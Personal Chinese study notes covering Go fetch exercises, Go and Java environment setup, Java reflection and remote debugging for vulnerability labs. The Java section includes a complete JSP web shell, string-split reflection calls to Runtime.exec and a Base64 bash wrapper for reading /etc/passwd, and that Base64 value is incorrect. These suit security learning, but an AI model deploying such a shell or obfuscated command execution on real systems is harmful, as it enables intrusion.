), so the resulting binary will not be identical to whatgif.EncodeAll()
writes to the standard output. Apparentlycmd.exe
does not do such transformations.解决方法可以用其他命令行工具比如 cmd,或者在代码中明确使用
os.File
创建文件等形式。
TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看
Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用
在第八章中会介绍 Go 语言原生的并发特性
TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试
下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本
这个例子的灵感来源于 curl
package ch1
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+ os.Exit(1)
+ }
+ b, err := io.ReadAll(resp.Body) // 读取响应体
+ resp.Body.Close() // 关闭响应体
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: reading %s: %v\n", url, err)
+ os.Exit(1)
+ }
+ fmt.Printf("%s", b) // 打印响应体
+ }
+
+}
+
+
上述是请求成功的情况
请求失败:
超时:
译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:
$ go run main.go http://gopl.io +fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known. +
无论哪种失败原因,上述程序都用了
os.Exit
函数来终止进程,并且返回一个 status 错误码,其值为 1。
:=
是一个赋值运算符, 用于声明并初始化
一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式
:=
运算符只能用在函数内部,不能用在全局作用域它可以简化变量的声明和赋值过程,不需要使用
var
关键字或指定变量的类型syntax - Assignment operator in Go language - Stack Overflow
Go 语言中,
os.Args
是一个字符串切片,用于存储命令行参数
os.Args[0]
是程序名称,os.Args[1:]
是程序的参数, 例如当前目录下有一个名为hello.go
的程序, 在命令行中使用如下语句编译并运行该程序文件go run hello.go world ! +
那么
os.Args
的值就是:["hello", "world", "!"] +
range os.Args[1:]
是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是索引 元素值
的形式, 例如:for i, arg := range os.Args[1:] { + fmt.Println(i, arg) // 打印索引和参数 +} +
输出
0 world +1 ! +
在本节的示例程序中使用了
_
来承接循环体内不会使用到的索引值
http.Get(url)
返回一个响应对象和一个错误对象响应对象中包含了响应的状态码, 头部, 正文等信息
错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil
nil
是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值
nil
只能给指针, 通道, 函数, 接口, 映射或切片类型的变量赋值, 否则会引发 panic, 例如var i int = nil // 错误:cannot use nil as type int in assignment +var p *int = nil // 正确:p是一个指向int类型的空指针 +
nil
可以用来检查一个变量是否为空或者未初始化, 例如var s []string // s是一个空切片,其值为nil +if s == nil { + fmt.Println("s is nil") +} +
Fprintf
和printf
之间的主要区别是输出目标不同。
Fprintf
可以指定任意的io.Writer
作为输出目标
printf
只能输出到标准输出流。c - Difference between fprintf, printf and sprintf? - Stack Overflow
Fprintf
的第一个参数是一个io.Writter
类型的变量, 表示输出流, 其可以是文件, 网络连接, 标准输出等
Fprintf
会将后面第 2 个及之后参数按照指定格式写入到输出流中, 例如:f, err := os.Create("test.txt") +if err != nil { + log.Fatal(err) +} +defer f.Close() +fmt.Fprintf(f, "Hello, %s!\n", "world") // 将Hello, world!写入到test.txt文件中 +
printf
的第一个参数是一个字符串,表示格式化模板,后面的参数是要格式化的值。printf
会将格式化后的文本输出到标准输出流(通常是屏幕)。例如:fmt.Printf("The answer is %d.\n", 42) // 在屏幕上打印The answer is 42. +
os.Stderr
是 Go 语言中的一个标准错误输出流, 它是一个io.Writter
类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据一般情况下, 我们可以使用
os.Stderr
来打印错误信息或调试信息, 而不影响正常的标准输出流
os.Stderr
和os.Stdout
都是io.Writter
类型的接口, 可以向中断或者控制台写入数据, 他们的主要区别是:
os.Stderr
用于输出错误信息或调试信息, 它是无缓冲的, 每个输出都会立即刷新os.Stdout
用于输出正常的程序输出, 它是有缓冲的, 只有当缓冲区满了或者程序退出时才会刷新
ioutil.ReadAll
用于从一个Io.Reader
中读取所有数据
io.Reader
是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了io.Reader
接口中的东西读取数据到一个字节切片中, 一些常见的实现了io.Reader
接口的类型有:
- 文件 (
*os.File
)- 网络连接(
*net.TCPConn
,*net.UDPConn
等)- 缓冲区 (
*bytes.Buffer
)- 压缩/解压缩器(
*gzip.Reader
,*flate.Reader
等)- 加密/解密器(
*cipher.StreamReader
等)使用
ioutil.ReadAll(resp.Body)
读取了响应体之后,需要使用resp.Body.Close()
关闭响应体,是因为
resp.Body
是一个io.ReadCloser
类型的接口, 它包含了io.Reader
和io.Closer
两个接口
io.Closer
接口定义了一个Close()
方法, 用于关闭资源并释放底层的文件描述符如果不关闭
resp.Body
, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降通常情况下, 我们应当在读取完
resp.Body
后立即调用resp.Body.Close()
来关闭响应体, 并且使用defer
语句确保在函数返回时一定会执行这个操作比如在 networking - Access HTTP response as string in Go - Stack Overflow 的一个回答中给出了一个示例代码
var client http.Client +resp, err := client.Get(url) +if err != nil { + log.Fatal(err) +} +defer resp.Body.Close() + +if resp.StatusCode == http.StatusOK { + bodyBytes, err := io.ReadAll(resp.Body) + // if u want to read the body many time + // u need to restore + // reader := io.NopCloser(bytes.NewReader(bodyBytes)) + if err != nil { + log.Fatal(err) + } + bodyString := string(bodyBytes) + log.Info(bodyString) +} +
networking - Access HTTP response as string in Go - Stack Overflow
go - How do I turn an io.Reader into a io.ReadCloser? - Stack Overflow
不过
Go 1.16
版本弃用了io/ioutil
, 可以使用io.ReadAll
代替ioutil.ReadAll
Go 1.16 Release Notes - ioutil - The Go Programming Language
io.Copy
替代 io.outil.ReadAll
函数调用 io.Copy(dst, src)
会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll
来拷贝响应结构体到 os.Stdout
,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy
返回结果中的错误。
/*
+练习 1.7:
+
+函数调用io.Copy(dst, src)会从src中读取内容,并将读到的结果写入到dst中,
+使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的b)来存储。
+记得处理io.Copy返回结果中的错误。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody_Copy() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes", n)
+ }
+}
+
+
io.Copy
函数是从一个 io.Reader
接口读取数据, 并写到一个 io.Writter
接口, 直到读取完毕或发生错误
使用 io.Copy
的一般格式是
n, err := io.Copy(dst, src)
+
n
字节数err
复制过程中遇到的错误(dst, src)
(目标的 io.Writter, 源的 io.Reader)
log.Fatal
函数用于在但因输出内容后, 退出应用程序
相当于调用了 log.Print
和 os.Exit(1)
两个函数, 通常用于处理无法回复的错误情况
log.Print
用于在标准错误输出 os.Stderr
上打印一条日志信息, 相当于调用了 fmt.FPrint(v ... interface[])
其与 fmt.Printf(os.Stderr)
有如下区别
log.Print
会自动添加当前日期和时间作为前缀, 而后者不会log.Print
会自动添加换行符作为后缀, 而后者不会log.Print
可以从多个 goroutine
安全地调用, 而后者需要使用同步机制来避免竞争条件修改 fetch
这个范例,如果输入的 url 参数没有 http://
前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix
这个函数。
/*
+练习 1.8
+修改fetch这个范例,如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀。
+你可能会用到strings.HasPrefix这个函数。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ // 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+ if !strings.HasPrefix(url, "http://") {
+ url = "http://" + url
+ fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n", url)
+ }
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes \n", n)
+ }
+}
+
+
strings.HasPrefix
函数用于判断一个字符串是否包含指定前缀, 如果包含则返回 true
, 否则返回 false
, 其使用方式为:
strings.HasPrefix(s string, prefix string) bool
+
其中 s
为需要判断的字符串, prefix
为要检查的前缀
修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status
变量得到该状态码。
/*
+练习 1.9
+修改 fetch 打印出HTTP协议的状态码,可以从 resp.Status 变量得到该状态码。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix_Status() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ // 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+ if !strings.HasPrefix(url, "http://") {
+ url = "http://" + url
+ fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n", url)
+ }
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ // 打印HTTP协议的状态码
+ fmt.Printf("HTTP协议的状态码: %s", resp.Status)
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes \n", n)
+ }
+}
+
+
resp.Status
与 resp.Body
不同, 它只是一个字符串, 并非可关闭的资源, 因此不用像后者一样需要考虑关闭以避免资源泄露Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。
大写字母和小写字母是不同的:heapSort
和 Heapsort
是两个不同的名字。
系统学习Go语言的基础知识
CGO、Go汇编语言等高级用法
深入学习Go语言语法树结构
了解Go2的最新动向
从头实现一个玩具Go语言
Download and install - The Go Programming Language
可在 Downloads - The Go Programming Language (google.cn) 获取不同系统的 Go 安装包
拉取官网最新的 stable release
wget https://golang.google.cn/dl/go1.19.3.linux-amd64.tar.gz
+
解压到 /usr/local/go
sudo tar -C /usr/local -xzf go1.19.3.linux-amd64.tar.gz
+
如果之前安装了其他版本的 go 那么可以备份后先移除该版本目录再运行上面的命令
# 可以先看看有没有 +ls /usr/local | grep go + +# 如果有的话可以删除 +sudo rm -rf /usr/local/go2 +
编辑 ~/.bashrc
, 在文件尾添加
export PATH=$PATH:/usr/local/go/bin
+
如果之前还添加了其他 PATH 变量的话使用
:
间隔开即可添加完环境变量后若想立即生效则需要重启计算机或者执行下面的 shell 命令
source ~/.profile +
验证
go version
+
在官网下载 Windows 版本的 Go 安装包并运行该 msi 文件进行安装
安装完成后可在 cmd 或 powershell 中验证下版本号
goproxy.cn/README.zh-CN.md at master · goproxy/goproxy.cn (github.com)
由于中国政府的网络监管系统,Go 生态系统中有着许多中国 Gopher 们无法获取的模块,比如最著名的
golang.org/x/...
。并且在中国大陆从 GitHub 获取模块的速度也有点慢。因此,我们创建了 Goproxy.cn,使在中国的 Gopher 们能更好地使用 Go 模块。事实上,由于 Goproxy.cn 已在全球范围内通过 CDN 加速,所以你可以在任何地方使用它。
在终端中执行:
go env -w GO111MODULE=on
+go env -w GOPROXY=https://goproxy.cn,direct
+
export GO111MODULE=on
+export GOPROXY=https://goproxy.cn
+
配置 Visual Studio Code for Go 开发 | Microsoft Learn
如果没有合适的科技手段的话那就先加个 Go 模块代理
设置完后记得退出并重开 VSCode 加载环境变量
Ctrl+Shift+P
打开命令面板, 然后输入
Go: Install/Update tools
+
单击进入该命令的提示项, 全选并确定, 之后会运行安装
悲ಥ_ಥ, 全装 C 盘去了, 不过还好 C 盘分配的空间比较多且性能相对好些, 就放这里了
gotests
: 可以根据源文件的函数和方法签名自动生成表格驱动测试gomodifytags
: 可以修改结构体的标签impl
: 可以生成接口的实现goplay
: 可以在浏览器中运行Go代码片段dlv
: 是一个Go语言的调试器staticcheck
: 是一个静态分析工具,可以检查代码中的错误和不良风格gopls
: 是官方开发的Go语言服务器,可以提供智能提示、代码导航、代码编辑和诊断等功能。创建一个新文件夹并使用 VSCode 打开此文件夹, 在终端运行如下命令初始化 Go 应用
# go mod init [应用名], 例如:
+go mod init GoLearning
+
在当前文件夹根目录创建一个 main.go
package main
+
+import "fmt"
+
+func main() {
+ name := "Go Developers"
+ fmt.Println("Azure for", name)
+}
+
可以在 line 7 打个断点, 然后 F5 运行下程序, 鼠标悬停在 name 上即可看到此时变量 name 的值
继续运行可以看到如是输出
Golang弃用go get工具 - 简书 (jianshu.com)
Deprecation of 'go get' for installing executables - The Go Programming Language
'go get' is no longer supported outside a module.
+ To build and install a command, use 'go install' with a version,
+ like 'go install example.com/cmd@latest'
+ For more information, see https://golang.org/doc/go-get-install-deprecation
+ or run 'go help get' or 'go help install'.
+
go get 在 g.mod
中同时用于更新依赖和安装命令。这种组合很混乱,使用起来也很不方便,因为开发人员不想同时进行更新和安装。
1.17.1
及其后版本不再支持 go get
命令
如果要在当前模块的上下文中安装可执行文件时,使用 go install
不带版本后缀
go install example.com/cmd
+
这个命令适用于安装当前目录或父目录中go.mod定义的版本要求和其他命令。
要安装可执行文件同时忽略当前模块go.mod,使用go install带上版本后缀例如
go install example.com/cmd@latest
+
安装完后需要配置环境变量
JAVA_HOME
+jdk安装目录
+
CLASSPATH
+.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
+
Path
+%JAVA_HOME%\bin
+%JAVA_HOME%\jre\bin
+
配完后
java
+javac
+
看下有正常回显即可
[环境搭建] Kali 下多版本JDK 共存 - 2022 年11 月1 日更新 - 知乎 (zhihu.com)
安装 openjdk8
sudo apt-get install openjdk-8-jre
+sudo apt-get install openjdk-8-jdk
+
安装完后可以 java -version
看下
或者下载 tar.gz
包然后解压, 解压后在 bin
目录下有 java
和 javac
多版本 jdk 注册:
# 注册 java
+update-alternatives --install /usr/bin/java java [解压后bin目录下的java文件绝对路径] [优先级数字]
+update-alternatives --set java [解压后bin目录下的java文件绝对路径]
+
+# 注册 javac
+update-alternatives --install /usr/bin/javac javac [解压后bin目录下的javac文件绝对路径] [优先级数字]
+update-alternatives --set javac [解压后bin目录下的javac文件绝对路径]
+
例如:
update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk1.8.0_351/bin/java 18351 +update-alternatives --set java /home/ajest/tools/java/jdk1.8.0_351/bin/java +update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac 18351 +update-alternatives --set javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac + +update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-11.0.17/bin/java 11017 +update-alternatives --set java /home/ajest/tools/java/jdk-11.0.17/bin/java +update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-11.0.17/bin/javac 11017 +update-alternatives --set javac /home/ajest/tools/java/jdk-11.0.17/bin/javac + +update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-17.0.5/bin/java 1705 +update-alternatives --set java /home/ajest/tools/java/jdk-17.0.5/bin/java +update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-17.0.5/bin/javac 1705 +update-alternatives --set javac /home/ajest/tools/java/jdk-17.0.5/bin/javac + + +update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-19.0.1/bin/java 1901 +update-alternatives --set java /home/ajest/tools/java/jdk-19.0.1/bin/java +update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-19.0.1/bin/javac 1901 +update-alternatives --set javac /home/ajest/tools/java/jdk-19.0.1/bin/javac +
多版本 JDK 管理
update-alternatives --config java
+update-alternatives --config javac
+
直接远程连接安装即可
Apache Tomcat® - Apache Tomcat 8 Software Downloads --- Apache Tomcat® - Apache Tomcat 8 软件下载
Windows 下直接下 Installer 版本即可
安装时会默认 Server Shutdown Port
为 -1
, 意味着关闭了监听 shutdown 命令的端口, 后续启停可以在 Windows 服务(services.msc
)中进行操作
Java 反射详解 - YSOcean - 博客园 (cnblogs.com)
Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。而这也是Java被视为(准)动态语言的一个关键性质
为啥要说是准动态,因为一般而言的动态语言定义是程序运行时,允许改变程序结构或变量类型,这种语言称为动态语言。从这个观点看,Perl,Python,Ruby是动态语言,C++,Java,C#不是动态语言。
反射机制允许程序在运行时取得任何一个已知名称的class的内部信息,包括包括其modifiers(修饰符),fields(属性),methods(方法)等,并可于运行时改变fields内容或调用methods。那么我们便可以更灵活的编写代码,代码可以在运行时装配,无需在组件之间进行源代码链接,降低代码的耦合度;还有动态代理的实现等等;
但是需要注意的是反射使用不当会造成很高的资源消耗!
比如新建一个 Person 类
package reflect;
+
+public class Person {
+ private String name = "Jacob";
+ public int age = 20;
+ public Person(){
+ System.out.println("Person()");
+ }
+ private void say(){
+ System.out.println("Hello World!");
+ }
+ public void work(){
+ System.out.println("I'm working!");
+ }
+}
+
+
现在要在其他类中获取一个 Person 对象的 class 可以使用如下三种方式:
package reflect;
+
+public class reflect {
+ // 1. 通过对象调用 getClass() 方法获取 Person 的 Class;
+ // 通常用于传入一个 Object 对象, 但是不知道具体是什么类, 通过 getClass() 方法获取 Class 对象;
+ public void by_getClass() {
+ System.out.println("1. 通过对象调用 getClass() 方法获取 Person 的 Class;");
+ Person person1 = new Person();
+ Class c1 = person1.getClass();
+ System.out.println(c1.getName());
+ }
+
+ // 2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高
+ // 这说明每个类都有一个隐含的静态成员变量 class
+ public void by_class() {
+ System.out.println("2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高");
+ Class c2 = Person.class;
+ System.out.println(c2.getName());
+ }
+
+ // 3.通过 Class 类的静态方法 forName(String className) 得到
+ // 该方法将类的全名(包括包名)作为参数,返回对应的 Class 对象
+ // 用的最多, 但可能抛出 ClassNotFoundException 异常
+ public void by_forName() throws ClassNotFoundException {
+ System.out.println("3.通过 Class 类的静态方法 forName(String className) 得到");
+ Class c3 = Class.forName("reflect.Person");
+ System.out.println(c3.getName());
+ }
+
+}
+
+
import reflect.reflect;
+
+public class test {
+ public static void main(String[] args) {
+ System.out.println("Hello World!");
+ reflect r = new reflect();
+ r.by_getClass();
+ r.by_class();
+ try {
+ r.by_forName();
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ }
+ }
+}
+
正常写法
java.lang.Runtime.getRuntime().exec("calc");
+
反射写法:
try {
+ Class<?> cls = Class.forName("java.lang.Runtime");
+ Method method = cls.getMethod("getRuntime");
+ Runtime runtime = (Runtime) method.invoke(null);
+ runtime.exec("calc");
+} catch (Exception e) {
+ e.printStackTrace();
+}
+
line3
的 Method
指的是 java.lang.reflect.Method
类, 在 Java 中,java.lang.reflect.Method
类提供了关于类或接口上单个方法的信息和访问权限。可以使用 java.lang.reflect.Method
类的实例来获取方法的信息(如返回类型、参数类型、访问修饰符等)或者对它进行调用。line3
的 getMethod
方法被用来获取名为 getRuntime
的方法(这是 java.lang.Runtime
类的一个静态方法)。然后,invoke
方法被用来调用这个获取到的方法。getRuntime
是一个无参数的方法,所以 invoke
方法被调用时只传入了一个 null
参数,这个 null
参数表示当前正在调用的是一个不需要实例对象的方法(即静态方法)。将反射写法写为一行:
((Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)).exec("calc");
+
需要注意的是 Class.getMethod
的返回类型是 java.lang.reflect.Method
,而 Method.invoke()
的返回类型是 java.lang.Object
。
因此,当你试图在返回的 Object 类型上调用 exec
方法时,编译器无法找到 exec
方法,因为 java.lang.Object
类没有定义 exec
方法。
所以这里用的 (Runtime)
来将 invoke
的返回值强制类型转换为 Runtime
类型,因为 exec
是 Runtime
类的方法
不加强制类型转换的话可以这样写:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
+ Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
+ "calc"
+);
+
首先获取 exec
方法的 Method
对象,然后再调用 invoke
方法,其第一个参数传递了 exec
方法的调用者(Runtime
对象),第二个参数传递了 exec
方法的参数(calc
)。
或者通过 String对象.getClass()
来获取 Class
也可以:
"va".getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
+ "va".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
+ "calc"
+);
+
以及这里的字符串是可以拆分再拼接的, 下面这种写法也是可以正确执行的:
Class.forName("java"+".lang.Runtime").getMethod("exec", String.class).invoke(
+ Class.forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),
+ "calc"
+);
+
"va".getClass().forName("java.lan"+"g.Runtime").getMethod("exec", String.class).invoke(
+ "va".getClass().forName("java.l"+"ang.Runtime").getMethod("getRuntime").invoke(null),
+ "calc"
+);`
+
在 Maven – Download Apache Maven 下载
解压到某个文件夹
配置 Maven 环境变量
编辑 PATH 变量
验证配置: mvn -v
修改 Maven 配置 C:\Programming\Java\apache-maven-3.8.4\conf\settings.xml
修改本地仓库位置:
修改 maven 默认的 JDK 版本
<profile>
+ <id>JDK-1.8</id>
+ <activation>
+ <activeByDefault>true</activeByDefault>
+ <jdk>1.8</jdk>
+ </activation>
+ <properties>
+ <maven.compiler.source>1.8</maven.compiler.source>
+ <maven.compiler.target>1.8</maven.compiler.target>
+ <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>
+ </properties>
+ </profile>
+
添加国内镜像源
<!-- 阿里云仓库 -->
+<mirror>
+ <id>alimaven</id>
+ <mirrorOf>central</mirrorOf>
+ <name>aliyun maven</name>
+ <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
+</mirror>
+
+<!-- 中央仓库1 -->
+<mirror>
+ <id>repo1</id>
+ <mirrorOf>central</mirrorOf>
+ <name>Human Readable Name for this Mirror.</name>
+ <url>http://repo1.maven.org/maven2/</url>
+</mirror>
+
+<!-- 中央仓库2 -->
+<mirror>
+ <id>repo2</id>
+ <mirrorOf>central</mirrorOf>
+ <name>Human Readable Name for this Mirror.</name>
+ <url>http://repo2.maven.org/maven2/</url>
+</mirror>
+
+
JSP(Java Server Pages)是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。
JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分
<%@ page import="java.util.*,java.io.*"%>
+<%%>
+<HTML><BODY>
+Commands with JSP
+<FORM METHOD="GET" NAME="myform" ACTION="">
+<INPUT TYPE="text" NAME="cmd">
+<INPUT TYPE="submit" VALUE="Send">
+</FORM>
+<pre>
+<%
+ if (request.getParameter("cmd") != null) {
+ out.println("Command: " + request.getParameter("cmd") + "<BR>");
+ Process p;
+ if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
+ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
+ }
+ else{
+ p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+ }
+ OutputStream os = p.getOutputStream();
+ InputStream in = p.getInputStream();
+ DataInputStream dis = new DataInputStream(in);
+ String disr = dis.readLine();
+ while ( disr != null ) {
+ out.println(disr);
+ disr = dis.readLine();
+ }
+ }
+%>
+</pre>
+</BODY></HTML>
+
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)
偶尔有时命令执行有效负载Runtime.getRuntime().exec()
失败. 使用 web shells, 反序列化漏洞或其他向量时可能会发生这种情况.
有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义. 例如 ls > dir_listing
在shell中执行应该将当前目录的列表输出到名为的文件中 dir_listing
. 但是在 exec()
函数的上下文中,该命令将被解释为获取 >
和 dir_listing
目录.
其他时候,其中包含空格的参数会被StringTokenizer类破坏.该类将空格分割为命令字符串. 那样的东西 ls "My Directory"
会被解释为 ls '"My' 'Directory"'
.
在Base64编码的帮助下, 可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格.
比如将 bash 命令
cat /etc/passwd
+
转换为:
bash -c {echo,Y2F0IC9lcnR0Yy9wYXNzd2Q=}|{base64,-d}|{bash,-i}
+
VSCode 也可以远程调试 Java, 打算等在 IDEA 上玩熟练后再转 VSCode 试试
告别脚本小子系列丨JAVA安全(1)——JAVA本地调试和远程调试技巧 (qq.com)
Java编写的项目一般较复杂,而且通常会引用大量第三方jar包。如果直接看代码逻辑会是一件很痛苦的事情,学会调试是开始java安全的必备技能。
打断点
: 可以通过打断点来调试程序, IDEA 提供了不少断点调试按键, 如
F7
:步入,如果当前行有方法调用,会进入方法内部,否则继续下一行执行。不能进入官方类库的方法。F8
:步过,一行一行执行代码,如果当前行有方法调用,不会进行方法内部。Alt + Shift + F7
:强制步入,能进去任何方法,和F7的区别是能步入官方类库的方法。Shift + F8
:步出,从步入的方法内退出到方法外面,此时方法已经执行完毕。查看当前断点信息
:
运行即时表达式
: 即时表达式是java调试中的重要工具,能帮助我们查看当前环境中变量值,查看线程信息,判断程序中的对比条件。
查看当前的栈调用信息
: 栈调用是非常重要的调试信息,通常栈调用过程就是程序运行时的逻辑顺序,对java漏洞调试非常重要。
当前变量信息
: 显示程序执行到当前位置时环境中的变量信息
多数情况下,我们进行代码审计或者漏洞复现,都是把靶机环境装在虚拟机中,然后通过远程调试的方式来对系统进行利用。要让服务器支持远程调试,必须在启动的时候增加KVM参数,如下所示。
-Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555
+
Xdebug
: 启动调试,需要与 -Xrunjdwp
一起配合实现完整的调试模式。
Xrunjdwp
: 代表本次远程调试的参数设置。
transport
:指定远程调试的协议,一般使用的是 dt_socket
,其他还有 dt_shmem
等。
suspend
: 代表是否在调试客户端建立起来之后才运行 KVM
一般选择 n
。这样调试程序不会影响主程序的运行。
server
: 代表是否支持在 server 模式的 VM 中运行调试模式。
address
:代表远程调试监听的端口 [host]:[port]
。
这里的 host 字段支持省略的写法,但是我们不建议省略 host 字段。
刚开始进行远程调试时如果发现客户端连不上服务端远程调试的端口,就要检查服务端端口是否监听在 127.0.0.1
这样的本机地址,如果监听在本机地址,是不允许远程连接的。
而 KVM 参数需要写在哪里, 对于不同服务器远程调试的参数写的位置不一样
如果是打包独立运行的 SpringBoot 的 jar 包,那么可以直接在命令行中增加远程调试的参数。
java -jar -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555 Test.jar
+
如果是 Tomcat 服务器,则可以直接修改 bin/catalina.bat
文件。在文件最前面增加远程调试的参数,如下所示。
上面开启了服务端远程调试的端口之后,下一步就需要客户端连接远程服务器进行调试。
为了保证远程调试的准确性,需要客户端拥有和服务端完全一样的源代码(这很重要,一定要完全一样),所以最好直接把服务端整个源码拷贝一份到客户端idea中进行调试。 使用idea本地打开拷贝的服务端源码,并且把所有的 jar 包加入 library。然后新增一个 configuration,选择 Remote JVM Debug,填写开启的远程调试服务器 ip 和端口。
然后点击debug按钮,可以看到下面的成功连接到远程服务器的信息,代表远程连接建立成功。后续就可以像本地调试一样对远程项目进行调试了。
所有四级标题单独提出来
CVE-2018-2894
使用的镜像与 CVE-2020-14882
相同
编辑 doker-compose.yml
文件, 将打算用于远程调试的端口映射上
比如这里将 5555 端口用于远程调试
version: '2'
+services:
+ weblogic:
+ image: vulhub/weblogic:12.2.1.3-2018
+ ports:
+ - "7001:7001"
+ - "5555:5555"
+
然后启动容器
docker-compose up -d
+
然后进入容器编辑配置文件
可以看到 line 48
通过运行 jar 包启动了服务, 修改 line 48
加上调试参数
cd /u01 && curl -o /u01/fmw_12.2.1.3.0_wls_quick.jar http://ca-docker-stage.us.oracle.com/middleware/weblogic/fmw_12.2.1.3.0_wls_quick.jar && \
+$JAVA_HOME/bin/java -jar -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555 /u01/fmw_12.2.1.3.0_wls_quick.jar -invPtrLoc /u01/oraInst.loc -jreLoc $JAVA_HOME -ignoreSysPrereqs -force -novalidation ORACLE_HOME=$ORACLE_HOME && \
